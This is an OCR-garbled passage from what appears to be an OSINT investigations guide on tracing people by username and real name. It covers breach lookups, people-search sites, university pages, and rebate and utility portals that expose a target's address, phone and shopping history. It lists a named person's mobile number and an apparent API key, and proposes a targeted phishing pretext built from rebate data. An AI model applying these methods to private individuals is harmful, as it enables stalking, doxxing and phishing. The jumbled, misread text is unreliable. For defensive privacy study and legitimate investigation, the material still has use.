https://haveibccnpwned.com https://leakpeek.com/ https://leakedsource.ru/ https://breachdirectory .org https://weleakinfo.to This sendee was explained in the previous chapter in regard to email addresses, but can also apply to usernames. The following URL would search my own information and display any email account images associated with my username. https://twitter.com/inteltechniques https://facebook.com/inteltechniques https://instagram.com/intcltechniques https://www.tiktok.eom/@inteltechniques https:/1 tinder.com/@inteltechniques https://intcltechniques.tumblr.com https://www.snapchat.eom/s/inteltechniques https://medium.com/@inteltechniques https://youtube.com/inteltechniques https://www.reddit.com/user/inteltechniques This popular link aggregation sendee allows members to announce all of their networks on one page. We can also take advantage of this via direct URL, such as the following. You may desire a quick peek into the profile associated with a username across the most common networks. I added the following options to the Username Tool, assuming "inteltechniques" is the target username. In the previous chapter, I explained how I use Have I Been Pwned (haveibeenpwned.com) and Dehashed (dehashed.com) in order to identify online accounts associated with a target email address. While HIBP does not always work with usernames, Dehashed performs well. Similar to the previous instruction, enter your target's username with the intent to discover any data breaches which include these details. The custom search tool contains multiple breach queries, as I find that information to be the most valuable at the beginning of an investigation. If my target username is "inteltechniques", I find the following direct query URL to be most beneficial for username search. This should look familiar to the options presented in the previous chapter. Usernames 273 Search My Bio (searchmy.bio) https://\v7ww.searchmy.bio/search?q=inteltechniques People Data Labs (peopledatalabs.com) Email Assumptions 274 Chapter 16 "st. louis, missouri, united states", "washington, district of Columbia, united states", "new york, new york, united states" I submitted a query for result our previous Facebook target (facebook.com/zuck) and received the following partial This Instagram search tool provides current and historic biography information form a user's profile, and was explained in the Instagram chapter. This can be valuable if your target has recently deleted their Instagram account 1 often submit a query for my target even if I have never seen an Instagram account associated with the username. I might receive a result if the username is mentioned on someone else's account. This activity is common during romantic relationships. The following URL queries my own data. In the previous chapter, I explained this email search sendee and the requirement for a free API key in order to submit URL queries. We can also use that same key to query' by Twitter, Facebook, and Linkedln profile username. The following URL structure should be used with your own API key. We can also make assumptions in order to identify’ target accounts. Assume that your suspect is IntelTechniques on Twitter. A search of the email addresses of [email protected], [email protected], and [email protected] at Hl BP or Dehashed might reveal an active account that appears within a https:// api.peopledatalabs.com/v5/person/enrich?pretty=true&api_key=5c0ck097aa376bb7741al022pl2222 e3d45chs740eanass5e741cl 1101c&profile=www.facebook.com/inteltechniques "fiill_name": "mark Zuckerberg", "birth_year": "1984", linkedin_url": "linkedin.com/in/mark-zuckerberg-a513498b", "facebook_url": "facebook.com/zuck", "mobile_phone":"+16506447386", "emails": "[email protected]", "education": "harvard university", https://api.peopledatal.'ibs.com/v5/person/enrich?pretty=true&api_key=5c0ck097aa376bb7741al022pl2222 e3d45chs740eanass5e741 cl 1 lOlc&profile—www.twitter.com/inteltechniques This is powerful data, especially' considering a social network profile was the starting point. 1 have added all three network options into the Username Tool. Similar to the email option, y'ou must change "XXXX" to your own API key within the source code of the page. https://api.peopledatalabs.com/v5/person/enrich?pretty'=true&api_key=5c0ck097aa376bb7741al022pI2222 e3d45chs740eanass5e741cl 1101 c&profile=www Jinkedin.com/inteltechniques Let's take a look at the Twitter result for my own name. It immediately7 identified the three locations which have been present within my' Twitter profile over the past decade, as follows. I am not aware of any other service which could replicate this data going back to 2009. Skype Username (web.skype.com) Usernames 275 setTimeout(functionQ{window.opcnfhttps://dehashed.com/search?query’=%22’ + a!13 + '@qq.com%22', '131eak3 window1);} ,35000); compromised database. Unfortunately, this manual search is time consuming and takes a lot of redundant effort. Therefore, consider using this option within the custom search tools. Similar to how compromised database searches are the most powerful email search option that I use, querying usernames in this manner can be equally important This search tool eliminates any laborious process and removes any excuses not to conduct this type of search every time. Identifying a Skype username can be an important lead. It could direct you toward additional searches of the newly found data. Unfortunately, usernames are not obviously available when researching a real name on Skype. The previous option made assumptions about usernames within email addresses which may appear on breach search sites. We can replicate that method within a standard search engine. The following URL populates a search on Google of the target username with the addition of the most popular email address domains, including quotation marks and the OR operator, as previously discussed. If your target username is IntelTechniques, you could manually' conduct the following Google search. [email protected] [email protected] [email protected] [email protected] [email protected] If desired, you could copy' this query’ and paste it into Bing and Yandex, but 1 have found the results to be very’ unreliable. Your custom search tool makes this much easier. Enter your username in the "Email Search" option at the end in order to replicate this search. It will usually generate the most results the fastest. [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] Any positive results indicate that an address exists matching the search criteria, and that address was present within a breach. If you look at the code behind the tools, it appears as follows. setTimeout(functionO{window.open(’https://dehashed.com/search?query=%22' + all3 + '@gmail.com%22', 'lleak3window*);},1000); "[email protected]"OR"[email protected]"OR"[email protected]"OR"In [email protected]”OR"[email protected]"OR "[email protected]"OR'[email protected]"OR"[email protected]"OR"Inte [email protected]"OR"[email protected]"OR"[email protected]" These tools contain two search fields near the bottom of the page. Each queries a provided username through HIBP and Dehashed. The code appends the most popular email domains after the supplied username, and conducts a search within a new tab for each. If you provide IntelTechniques as the target username, the following email addresses are queried within independent browser tabs. The Timeout function places a short pause in between searches. This ensures that we do not upset the server by conducting too many’ automated queries at once. If desired, you could replace "gmail.com", or any other options, with an email provider more appropriate for your investigations. If you are outside the U.S., you may want to replace several of these. You could also add more at the end. If I were to add "qq.com" after the last option, it would appear as follows. The 35000 is the next Timeout option to ensure that we have 3000 milliseconds in between each search execution. IntelTechniques Usernames Tool Populate All] [Username ][ IntelTechniques Tools Search Engines Facebook Twitter Instagram Linkedln Communities Username Email Addresses PSBDMP Names Username Telephone Numbers r Username Username Maps Username Documents Username Username Pastes Username Images Tumblr Videos Domains YouTube IP Addresses Reddit Business & Government 3 j( [Username (Alloy; Popups) Submit All Virtual Currencies Data Breaches & Leaks OSINTBook License Figure 16.01: The IntelTechniques Usernames Tool. 276 Chapter 16 | Username 11 Username 11 Username Username (API Required) Username (API Required) [Username (API Required) [ Username (Allow Popups) Username (Allow Popups) Username Username Username Username Username______________ Username Username (Allow Popups) Username KnowEm Basic KnowEm Advanced UserSearch NameVine SocialSearcher Gravater LinkTree InstagramBio Twitter Facebook Instagram TikTok Tinder Snapchat Medium Username Username Username Username Username Username PPL Facebook PPL Twitter POL Linkedln Google_______| Bing Yandex If 4 ■ [ HavelBeenPwned j I [ Dehashed ! 1[ PSBDMP j 1 JL However, a quick method will reveal any Skype username when searching by name or email address. VCHiile logged in to a Skype account within the website or application, navigate to the search area. This section allows you to enter a real name or email address, and then conducts a search of the Skype user directory'. Any results will appear immediately below. Clicking on these results displays the user's basic profile details including a photo. If the user chose not to include a photo, a silhouette graphic appears. Right-click on either image format and choose to "Open image in a new tab" (Chrome) or "View image" (Firefox). The new tab will contain the image that was already available. However, the address in the URL will reveal the Skype username of the target. Similar to the custom email search tool, this page assists with an automated search of some of the techniques mentioned previously. This page, seen in Figure 16.01, allows you to execute manual queries or use the option to attempt all search possibilities. As a reminder, you must allow pop-ups for these pages if you want to use the 'Submit Ail" option and an API key must be added to conduct queries through People Data Labs. "j| HIBP Emails ) ; [ Dehashed Emails ] i | Email Search j University Homepages [email protected] Usernames 277 This indicates that the naming convention for personal websites is a tilde (~) followed by the first initial and then the first six letters of the last name. If the target of interest was ’’Scott Golike", the personal website would probably be at www.siue.edu/~sgolike/. If you can identify the convention that the school uses and know the full name of the target, you can often determine the email address of the student. This address can be searched in order to identify any social networks that may have been missed. Furthermore, the first part of that address is usually the username that would have been issued to the student for a homepage. The target may have never used this email address online and a search result may appear empty. That does not mean there is not data available. The chance that the target created some type of homepage while attending the university is high. Finding the content is easy. These automated searches for usernames can be very productive. However, they will not locate accounts within all online communities. One large untapped resource is the massive presence of university personal web pages and usernames. Most universities issue each student a university email address. These usually follow a standard naming convention such as the following. I picked the name of Laura at random just to identify any student or employee personal website on the SILE domain. One of the results was a link to a personal website belonging to "Laura Swanson". The link was similar to www.siue.edu/~lswanso/. As an example, I can navigate to the first personal link for "Laura Swanson". Figure 16.02 (first) displays a portion of the live page at x\Avw.siue.edu/~lswanso/. If this page did not exist and the site contained no content, you could check on The Wayback Machine. Figure 16.02 (second) shows the search results for this personal page and identifies numerous archives dating back to 1997 for this site. Checking all of these options presents the many different versions of the site including one from 2005, as seen in Figure 16.02 (third), and the first capture from 1997, as seen in Figure 16.02 (fourth). This presents new data that would not have been uncovered with conventional searches. When a personal website is located, earlier versions should be archived. Hopefully, the searches explained earlier have helped in identifying a university that the target attended. A search for the university's website will reveal the domain name that the university uses. For example, Southern Illinois University at Edwardsville's website is siue.edu. We can now take that information and conduct a specific search for any personal pages on their domain. The search should similar to site:siue.edu laura. Real World Application: While assisting another agency, information had developed in regard to a suspect in a priority investigation. After all online search attempts revealed nothing of value in locating the subject, a deleted student personal page was located using this method. It contained a list of friends, roommates, family members, and interests that were not previously known. This information helped locate the individual within hours. We can also assume the possibility’ of his school issued email account to be [email protected]. A few searches using previously discussed techniques should confirm if this address belongs to the target A search using the email to Facebook profile technique may identify’ an abandoned profile. We can now navigate to this personal school page and see if there is any content If there is, we can collect the data and conduct an analysis for intelligence and further research leads. If there is no page at this address, it does not mean that there has never been data there. This only indicates that there is no current content on this website. When students graduate, universities will usually remove all of the personal content from the servers. As discussed previously, this is never an excuse to stop looking. You can now take the URL of a target and conduct a search on The Wayback Machine (wayback.archive.org). homc.comcast.net/crazychcctah70 Courses Laura Swanson, Ph.D. http://www.siue.edu/~lswanso/ Course Materials • PROD 315 B S I E , PvMt Figure 16.02: Historic versions of university pages.. 278 Chapter 16 • PROD 51!) • MGMT 485 Welcome to Dr. Swanson Schoenecker’s Webpage angelfire.com/ crazycheetah70 geocities.com/ crazycheetah70 rcocitics.com/crazychcetah70 crazycheetah70.tripod.com home.earthlink.net/~crazycheetah70 home.comcast.net/~crazycheetah70 Pn D . Krannert Graduate School of Management. Purdue University 360.yahoo.com/crazychectah70 crazycheetah70.webs.com crazycheetah70.weebly.com webpagcs.charter.net/crazycheetah70 sites.google.com/ crazycheetah70 about.me/ crazycheetah70 Go Wayback! i Buc k to l.'-rrW 1937. '.jgsy nas oeen cra*:ea 30 tmes gang 311 tr.e way d; ______________ Welcome to Dr. Swanson's Web Page INTERNET * I CIIIV t ■BIBB. Welcome to Dr. Swanson's Web Page Dr. Swanson's -imaBe- Laura Swanson. Assistant Professor ci Management Member cl the faculty since 1594 Pn 0 Krannert Graduate School of Management Purdue Unr.i»rerty . 1995 M S M Kianrcrt Graduate Scho'l of Management. Purdue Unv?r^ity . 1583 "" ” due University , 1980 The following is a sample list of personal web page addresses from additional internet providers, using "crazycheetah70" as a username example. You should also search for internet providers in the target's area and attempt to find deleted pages on The Wayback Machine, Google Cache, Bing Cache, Yandex Cache, and the other sendees discussed in Chapter Nine. PROD 315 - Production and Operations Management PROD 529 - Operations M-anagement and Process Analysis D Coutie Uoierials PROD 31S PROPS” U AnnounrnmnnU 02 EuMicgtiBra * Enyectt (.■ i Unto -■ Search th«» flr| lllllll I It should be noted diat some institutions will not follow a standard naming convention for all students and faculty. Additionally, there will be occasions when two or more students will have a name similar enough to create the same username. Usually, there is a plan in place to thwart these duplications. Sometimes it is as simple as adding die number "2" after the username. Universities are not the only places that create personal web pages based on a member name. Several internet service providers allow each subscriber a personal space online as part of the provider's main website. Comcast provides 25MB of storage in a folder with the ride of the subscriber's username. For example, if the email address of die customer was [email protected], the username for the sendee would be crazycheetah70. The URL to view the personal web page would be as follows. Laura Swanson, Ph.D. Ph D , Kmnert Gaduale Scbaof d Management PwOut Urwetsrty 1.1 S , Krannert Graduate Schxl cf Management. Purdue UnnvrsKy 0 SIE . Pudu? Urr/wssy Co-l?c1 ttfurrr-airan Plxr-.e i618)Gf 0 2710 True People Search (truepeoplesearch.com) https://xvww.truepcoplesearch.com/results?name=michael%20bazzell Fast People Search (fastpeoplesearch.com) https://www.fastpeoplesearch.com/name/michael-bazzell Nuwber (nuwber.com) https://nuxvber.com/search?name=michael%20bazzell People Search Engines 279 Ch a pt e r Se v e n t e e n Pe o pl e Se a r c h En g in es This service appears to rely on the exact same database as True People Search. However, it possesses one hugy advantage. True People Search gained a lot of media attention as a "stalking" assistant, which resulted in numerous articles instructing individuals to remove their profiles with an opt-out link. Many people have removed their information, but practically none of them replicated the procedure on Fast People Search. If your target removed his or her profile from the prexdous option, it might still be present here. The direct search URL is as follows. This service has provided the most comprehensive and consistent free report based on real name. The results usually include current address, prex’ious addresses, telephone numbers (including cellular), email addresses, relatives, and associates. There are no blatant ads, but the "Background Reports" links forward you to a paid service xvhich xvill likely return the same details. This is my first stop xvhen trying to locate an individual in the U.S. The direct search URL is as folloxvs. A newcomer in 2017 xvas Nuwber. I first learned about this sendee from various members of the privacy forum at my xvebsite. They were discussing the importance of removing their own personal details from this site through x'arious opt-out procedures available at the time. I found my own information to be quite accurate. Therefore, this makes for a great OSINT resource. The default landing page allows search of a first and last name. The results are presented by location, and each profile often includes full name, age range, home address, telephone number, and neighbors. The direct search URL is as folloxvs. Just as Google and Bing specialize in searching content on the internet, people search engines specialize in finding content about a particular person. Many of these sites utilize search engines such as Google and Bing to help compile the data, and then present a summary style interface that is easy to consume. The sites listed here each have their own strengths and xveaknesses. Standard searches are free on all of them; however, each site generates revenue in some form. Usually, this is by displaying advertisements that often appear to be a report function xvithin the site. I do not recommend purchasing any of the premium paid sendees until all free options have been exhausted. These details are often focused on targets in the United States, but many services are starting to reach past North America. Searching a target's real name often leads to the discover)' of home addresses, telephone numbers, email accounts, and usernames. The folloxxdng resources are presented in order of most beneficial within my investigations to least. Please note that many of these sites are now blocking access from IP addresses associated with VPNs. This is due to malicious "scraping" behavior by competing sites. If you receive an "access denied" error, it is likely your VPN is being blocked by the sendee. XLEK (xlek.com) https://xlek.com/search_results. php?fname=michael&lname=bazzell&locations:all Family Tree Now (familytreenow.com) https://www.familytreenow.com/search/genealogy/results?first=Michael&last=Bazzell Cyber Background Check (cyberbackgroundchccks.com) https:/Avww.cyberbackgroundchecks.com/people/michael-bazzell Intelius (intelius.com) https://www.intelius.com/people-search/Michael-Bazzell Radaris (radaris.com) https://radaris.com/p/Michael/Bazzell/ 280 Chapter 17 I suspect this site is associated to the first two entries in this chapter. However, I have located unique data. Therefore, it should be included in our tools. The direct search URL follows. In 2016, this website emerged and launched an uproar online. This site is targeted toward those who want to conduct family history research, and its specialty is connecting a person to his or her relatives. The results do not display home addresses, but simply the age of the target and a large list of family members. After gaining a lot of online popularity, many people started complaining about the availability of this sensitive information. 'While this type of sendee is nothing new, people were outraged at this violation of their privacy. Since Family Tree Now sources all of their data from public databases, they defended their product, which is still available today. This attention may have been the inspiration for this company to take things to another level with True People Search. The direct search URL is as follows. This service has many similarities to Intelius. However, the data set is unique. The business model is to entice you into purchasing an entire profile. I only use the service for the limited free content available in the preview. After searching a name, select the most appropriate target and choose "Full Profile" in the lower right of the result This will open the full view of any free information. This will often include the target's middle name, age, current address, previous address, landline telephone number, and links to social networks. The Background Check options forward you to a premium website which 1 do not recommend. The direct URL follows. This was another service that surprised many privacy-conscious people. A typical entry' contains a target's full name, current home address, current home telephone number, email addresses, previous home addresses, additional telephone numbers, possible relatives, and age. I recently located a target's email address from this sendee, which was not present on any other site. Using the techniques mentioned in previous chapters, I was able to create a full dossier. The default page does not present a direct URL, but the inspector presents following. Intelius is a premium sendee that provides reports about people for a fee. Most of the information is from public sources, but some of it appears to come from private databases. Searching for any’ information on the main website will always link you to a menu of pricing options. The information will never be displayed for free. However, the page that lists the report options does possess some interesting information. This free preview identifies an exact age, possible aliases, cities lived in, previous employers, universities attended, and relatives. If the subject is married, this will usually identify' the spouse. In most situations, it will identify the maiden name of the person's wife. Anything that you do not see on this main screen, you must pay’ a fee. I never recommend purchasing any of this data. Users are usually disappointed with the results. The direct search URL is as follows. Spytox (spytox.com) https://www.spytox.com/michaei-bazzeU Search People Free (searchpeoplefree.com) https://www.searchpeoplefree.com/find/michael-bazzeU That’s Them (thatsthem.com) https://thatsthem.com/name/Michael-Bazzell Spokeo (spokeo.com) https://www.spokeo.com/Michael-Bazzell?loaded= 1 Advanced Background Checks (advancedbackgroundchecks.com) People Search Engines 281 This database looks awfully familiar to True People Search and Fast People Search, but I occasionally locate an individual present here and nowhere else. One benefit here is that the email addresses identified within the results are hyperlinks. They connect to additional names on occasion. The direct search URL is as follows. Spokeo is probably the most well-known of aU the people search engines. There are two very distinct versions of this sendee, free and premium. The premium service wiU provide a large amount of accurate data, but at a cost. The free version provides an interface that is easy to navigate. The results from a target name search will be presented after choosing a state and city. Only the states and cities where the target name has a presence will be shown. Choosing this target will display a profile with various information. Within this data wall be several attempts to encourage you to purchase a premium account. Basically, anything that you do not see within this profile will cost you money. Any links from the profile wiU present a membership plan with pricing. The profile will often display fuU name, gender, age, and previous cities and states of residency. However, it no longer presents the actual current address. Spokeo is one of many sites which present an animate gif file while you wait on the results. This is unnecessary’ and is in place to make you believe data is being queried in real time. The following static search URL bypasses this annoyance. This is another service which includes advertisements for premium options. It appears to present data very similar to Intelius. Surprisingly, the majority’ of their data archive is free without any payment. The main search results appear redacted and entire addresses and telephone numbers are masked. With many otlier sendees, clicking these details prompt the user for payment. Instead, this service opens a new page revealing the entire In late 2014, a new website quietly entered the crowded scene of people search services. On the surface, it was just another service that aggregated publicly available information. Consequently, a closer examination revealed That's Them to contain information that is not available anywhere else for free. This sendee has many options, and most will be discussed in this book. For the purposes of this chapter, I will focus on the "Name and Address" search option in the top menu of the website. Entering a full name with city and state is preferred, but not required. Results often display the person's age range, cell phone number, landline number, full address, religion, financial details, home IP address and any associated email addresses. I searched my own name to test the accuracy’ of the results. My profile correcdy identified similar information as well as the exact VIN number of a previous vehicle. This type of data is impressive without any fees. I have found their details of religion and financial information to be unreliable. Note that the options to purchase additional information are advertisements from third-party companies, and should be avoided. The direct search URL is as follows. This sendee provides limited data during a free search, but the records are often updated from premium resources. In my experience, the free option only provides city, state, and phone. The direct URL follows. https://’ Yasni (yasni.com) http://www.yasni.com/michael+bazzell/check+people?sh Zaba Search (zabasearch.com) https://www.zabasearch.com/people/michael+bazzell/ People Search Now (peoplesearchnow.com) https://www.peoplesearchnow.com / person/michael-bazzell WebMii (webmii.com) http://webmii.com/people?n=%22Michael%20Bazzell%22 282 Chapter 17 'www.advancedbackgroundchecks.com/names/michael-bazzell record. This often includes home address, home landline telephone number, age, and relatives. Clicking the "See full info" button reveals previous addresses, additional telephone numbers, and aliases. Overall, this sendee is extremely useful for U.S. targets. The direct search URL is as follows. On the surface, Yasni appears to be another standard people search engine. Much of the content received will be duplicate data, but there are a few areas where Yasni works differently. The home page will give three search options. For most OS1NT purposes, the last option is the desired search. It will accept a real name or username and forward you to a results page. Real name search will present a large number of links associated with your target's name. As with other engines, many of these results will be about a person other than your target The first box on the results page will include a "lives/works in" option that will display the cities of the users identified with the search. Clicking on a location that looks appropriate for your target will load a new results page that will provide all search results about your specific target Yasni will identify news articles, websites, and social networks related to your target. By default, the search is conducted internationally. Yasni is a German site and searching outside of the United States is one of the strengths of the service. The search bar includes an option to filter the results by specific countries, but the United States is not listed as an option. If you have a target that lives in another country, Yasni is a great tool. The direct search URL is as follows. This site appears to have several search options at first glance. Unfortunately, all but one will forward to an Intelius site, which will require a fee. There is one very specific free option on this page. Providing any real name and state of residence will provide a results page with full name, date of birth, address, and phone number. In my experience, this often includes unlisted telephone numbers and addresses. Clicking on practically anything else on this results page will take you to a sponsored link. When I use this resource, I only rely on the information obtained on the first result page. The direct search URL is as follows. This service emphasizes information associated with social networks. I have never located any home addresses or telephone numbers, but I have found online images that were not available on any other search engine. This is not the most productive option, but one to consider when desperate for details. The direct search URL is as follows. This database appears to have the same parent company as True People Search, and possesses the same data. However, this search should be included in the event that a target has removed details from other related websites. Due to increased awareness of exposed personal information, I am seeing many people request removal of personal online data. The direct URL is as follows. Social Searcher (social-searcher.com) https://www.social-searcher.com/search-users/?q6=Michael+Bazzell Truth Finder (truthfinder.com) https://www.truthfinder.com/results/PfirstName—Michael&lastName—Bazzell&state—ALL People By Name (peoplebyname.com) http://www.peoplebyname.com/people/BazzeIl/Michael White Pages (whitepages.com) https://www.whitepages.com/name/Michael-Bazzell Clustr Maps (clustrmaps.com) https://clustrmaps.com/persons/Michael-Bazzell Find People Search (findpeoplesearch.com) Public Records (publicrecords.directory) This is the official White Pages website that will conduct a reverse name or address search. The results often include known residents and neighbors. This data is pulled from public information and is rarely complete. The direct search URL is as follows. There is nothing too exciting here, as it is more of the same, should add it to our arsenal. The URL structure follows. Since this service offers a direct URL query, we I explained this service within the username chapter, but it also applies here. It focuses on social media presence, including mentions within posts. The direct search URL is as follows. This service possesses a database identical to many of the better options previously presented. It also appears that records are not being updated and the details are becoming quite stale. This can be a good thing. If you target has moved and established a new address publicly, Find People Search might be the only option which displays a previous address. There is no direct URL submission option, so a manual search is your only option. There is nothing very special about this service, as it will likely have data similar to the other sites already mentioned. However, there is one major annoyance. When you search this site, you are bombarded by fake progress meters that insinuate that a huge report is being prepared about your target. On average, a real name search takes over 14 minutes due to these constant "please be patient while we find more details" notifications. The solution to this is to submit a direct URL as follows. The title of this site is misleading. It only allows the query of a telephone number, which is not beneficial when searching by name. However, the following URL structure displays all profiles associated with the provided name. This service displays a few unique details about an individual. It taps into various voter registration databases, campaign contribution disclosures, and vehicle registration data. None of these categories appear consistently within search results, but a search here is always justified. There is no direct URL submission option, so a manual search is your only option. People Search Engines 283 Rocket Reach (rocketreach.co) site:rocketreach.co "michael bazzell" active account The first free account. Rebate Tracking XXXXXX5347 668 S3.55 03/17/2021 XXXXXX5347 658 SAVE 11% 03/17/2021 $1.09 XXXXXX5347 657 SAVE 11% 03/10/2021 $4.31 XXXXXX0196 03/10/2021 633 $259 12/28/2020 12/28/2020 XXXXXX5704 554 05/26/2020 S3.93 Figure 17.01: A Menards rebate tracking screen. https://rcbatcinternational.coin/Rcbatelnternational/trackResuks/M/Smith/1212/77089 284 Chapter 17 DEFENSE ZONE HAND SANITIZ SAVE 11% DEFENSE ZONE SANITIZER GSO us a glimpse someone's specific gasp Mailed on 04/21/2021 Mailed on 04/21/2021 Mailed on 04/21/2021 Mailed on 03/05/2021 Mailed Location: Baltimore, Maryland, United States Work: Senior Artist @ Firaxis Games, Senior Artist @ MicroProse Software, Artist @ Innerprise Software Education: Maryland Institute College of Art, Bachelor Of Fine Arts (Communication, Illustration), 1985 - 1989 Michael Bazzell's Email: @firaxis.com @kryptotoyz.com @erols.com Michael Bazzell's Phone Numbers: 410667XXXX 410726XXXX The site then teases the ability to uncover the redacted results for free. However, this requires a This resulted in three Rocket Reach profiles, all of which could be viewed without an was someone else with my name. It disclosed the following details. We now see the purchased items, purchase dates, rebate amounts, and payment details. This gives into the shopping habits of the target and could lead to patterns of behavior which might expose routines. It could also provide pretext value. I could initiate an email phishing attack focused on a purchased item announcing a problem with the rebate. That would be so targeted that the recipient would probably click whatever link I sent. This rebate sendee even stores all purchases within a static URL which is prone to abuse. If my name were Michael Smith and I lived at 1212 Main Street in Houston, Texas, my URL would be the following. This impressive site does not identify’ home addresses. Instead, it focuses on business details likely scraped from Unkedln and online resumes. Conducting a search on die website only presents a login form and an account is mandatory. However, Google can help us. I conducted the following search. I find this technique more "interesting" than valuable to an investigation, but you might locate a nugget of information which assists you. As an example, let's look at the store Menards. Menards is an American home improvement company which pushes rebates in order to make products appear low-priced. When you buy a product, you can retrieve a rebate slip and mail it off. In a few weeks, numerous checks in small amounts begin arriving at your home. This game provides small discounts, but at what risk? This is where the online rebate center comes in. Let's start with a visit to https://rebateinternational.com/Rebatelnternational/tracking.do. This page allows you to enter a first initial, last name, numeric portion of an address, and postal code of your target. This result appears similar to Figure 17.01. 0 ft Mobile Phone Number Figure 17.02: A Lowe's rebate tracking entry. Utility Inquiries https://www.centurylink.com/home/help/intemet/test-your-intemet-at-the-network-interface.html IntelTechniques Names Tool SEARCH BY Mobile Number SEARCH BY Mailing Address O SEARCH BY f77777) Confirmation Number O This allows us to potentially translate an unknown cell number into a name and address or vice-versa, as well as obtain shopping history of the target. These two examples arc only a small selection of the possibilities. You will find online portals for Micro Center, Budweiser, Miller, Kohls, Auto Stores, and other retail establishments. I have found the following three Google searches to assist with finding companies which offer similar options. If you know your target's telephone number and postal code, you may be able to uncover an entire home address. Consider the following example with the home telephone and internet service provider CenturyLink. The following address connects to their internet troubleshooting page. https://www.google.com/search?q=intitle:"rebate center" https:/1 www.google.com/scarch?q=“track+my+rebate” https://www.google.com/search?q=“track+your+rebate” The abundance of free person search tools can get overwhelming. They each have strengths and weaknesses, and none of them are consistent on accurate results. In years past, I would manually visit each site and enter my target information. This would usually result in small, yet valuable, pieces of information from each service. Today, I use a custom search tool that I created to search all possible sites simultaneously. This free tool will not locate any information that you could not find manually. Instead, it attempts to save you time by automating the process. Figure 17.03 displays the current state of the tool, which is in your downloaded archive from earlier. You can either enter the first and last name of your target within the search fields of each service, or enter this information only once at the final set of search fields. This latter option will launch several new tabs and conduct your search across each service. Clicking "Open Troubleshooter" in the lower right area opens a query page asking for the telephone number and postal code. Submitting this data then presents a confirmation screen which includes the customer's name, full address, and telephone number. I have found many local utilities which offer similar search portals. Note that this URL does not require any credentialing and is open to brute-force scraping. Next, let's take a look at Lowe's home improvement. They offer a rebate confirmation website at https://lowes-rebates.com/en- us/RebateStatus which allows entry of a cellular number or home address, as seen in Figure 17.02. During my live training courses, I am often questioned about the absence of the ability to enter a middle initial or name. While I could make this an option, 1 find that a lot of people search websites do not always possess a middle name. Therefore, entering this data could harm an investigation by omitting valuable results. People Search Engines 285 Populate All First Name Last Name IntelTechniques Tools TruePeople Search Engines First Name Last Name FastPeople First Name Last Name Facebook Nuwber First Name Last Name XLEK First Name Last Name Twitter FamilyTreeNow First Name Last Name Instagram Intelius First Name Last Name Radaris First Name Last Name Linkedln CyberBackgrounds First Name Last Name Spytox First Name Communities Last Name SearchPeople First Name Last Name Email Addresses JohnDoe First Name Last Name Spokeo First Name Last Name Usernames AdvBackground First Name Last Name Yasni First Name Last Name Zabasearch First Name Last Name Telephone Numbers PcopleSearchNow First Name Last Name WebMii First Name Last Name Maps SocialSearcher First Name Last Name Documents TruthFinder First Name Last Name PeopIcByName First Name Last Name Pastes White Pages First Name Last Name Thats Them First Name Images Last Name ClustrMaps First Name Last Name Videos Submit All First Name Last Name Figure 17.03: The IntelTechniques Names Tool. How Many Of Me (liowmanyofme.com) Classmates (classmates.com) 286 Chapter 17 Names Classmates is a ven' underrated resource for the internet searcher. Unfortunately, you must create a free account to take advantage of the worthy information inside the site. This free account can contain fictitious information and it is necessary- to complete a profile on the site to access the premium features. After you arc logged in, you can search by first and last name. If you know the school that was attended, the results will be much more accurate. This should provide die school attended as well as the years the target attended the school. My new interest in this site is due to the availability’ of scanned yearbooks. The collection is far from complete, but there arc a surprising number of complete yearbooks available to browse. Analyzing this content can be very time consuming, as the yearbook must be manually browsed one page at a time. The information obtained should be unique from any internet search previously conducted. is minima istic site provides a simple interface to find out how many people exist that have a specific name. n casc» there are 16 people in the United States with my’ name. This is obtained from census data and can ic p etermine how effective a targeted search will be. For example, if your target has a ven' unique name, you may still get numerous results to links of social network sites. In order to determine the likelihood that all of t ese pro i es apply to the target, How Many’ Of Me can tell you whether your target is the only’ person that has t lat name. This site provides no intelligence about someone with a common name. 1 have used this in the past to determine appropriate coven names to use online. Resumes CV Maker (cvmkr.com) site:cvmkr.com "john pratt" https:/ / cvmkr.com/7J0N?pdf=l People Search Engines 287 This website allows users to create free professional resumes and CVs. Currendy, over 5 million have been created and are stored within the service. The home page does not offer a search option, as this service is not intended to be used as a people finder. However, we can rely on a Google search to get us the content we want. The following identifies the resume of our target. Resume searching was mentioned earlier. Those methods will identify many documents, especially if the word ’'resume” is inside the file or file name. These results are only a portion of available content that could be extremely valuable to your investigation. I believe that resumes are an ideal target since they usually contain sensitive information that is not posted anywhere else. Many people will include a cellular number and personal email address on a resume, but would never consider placing these details on a social network. If the resume is publicly available, regardless of whether the target realizes this, we can gather good intelligence. The following techniques aim to assist in locating this valuable data. Detailed searches within Google or Bing will identify many resumes hosted publicly on websites and doud-based document storage services. If my target’s name is Michael Bazzell, I have found the following exact searches valuable on Google, Bing, and Yandex. "Michael Bazzell" "Resume” "Michael Bazzell" "Curriculum Vitae" "Michael Bazzell" "CV" "Michael Bazzell" "Resume" filetype:doc "Michael Bazzell" "Curriculum Vitae" filetype:doc "Michael Bazzell" "CV" filetype:doc "Michael Bazzell" "Resume" filetype:pdf "Michael Bazzell" "Curriculum Vitae" filetype:pdf "Michael Bazzell" "CV" filetype:pdf "Michael Bazzell" "Resume" site:docs.google.com "Michael Bazzell" "Curriculum Vitae" site:docs.google.com "Michael Bazzell" "CV" site:docs.google.com The search result opens a PDF. Within that file is the un-redacted content, which identifies his full email address, telephone number, and home address. On rare occasions, I have found this PDF option to be missing from my target profile. When this happens, we can create a direct link to the full details. In this example, our target's page is at cvmkr.com/7J0N. The following URL presents the entire PDF with the visible details. Basically, adding "?pdf=l" at the end of the URL should always present the full resume view. Since Google indexes all of the PDF files that are located, you can also perform searches for telephone numbers and email addresses using the site operator previously mentioned. While these queries will likely locate any resumes with text, they will fail on many resume images. Numerous resume hosting websites have realized that various data scraping engines scour their resume collection and "steal" their content. This has encouraged some services to store images of resumes that do not contain text that can be easily searched. While this is a decent layer of protection, it is not enough to keep out of Google results. Since Google scans images for Optical Character Recognition (OCR), it knows what words are within an image. After conducting the previous queries within traditional search engines, attempt them through Google Images fimages.google.com). A search of "Mary Johnson" "Resume" on Google Images revealed hundreds of images of resumes. A manual inspection of each identified many pieces of sensitive information. Indeed (resumes.indeed.com) Ripoff Report (ripoffreport.com) Gift Registries Canon HD 288 Chapter 17 If your target conducts any type of business with the public, he or she will likely upset someone at some point If your target regularly provides bad service or intentionally commits fraud within the business, there are likely many upset victims. Ripoff Report is a user-submitted collection of complaints about businesses and individuals. 1 have had numerous investigations into shady people and businesses where these reviews by previously unknown victims were beneficial. Items: While it may be fun to look at the items desired 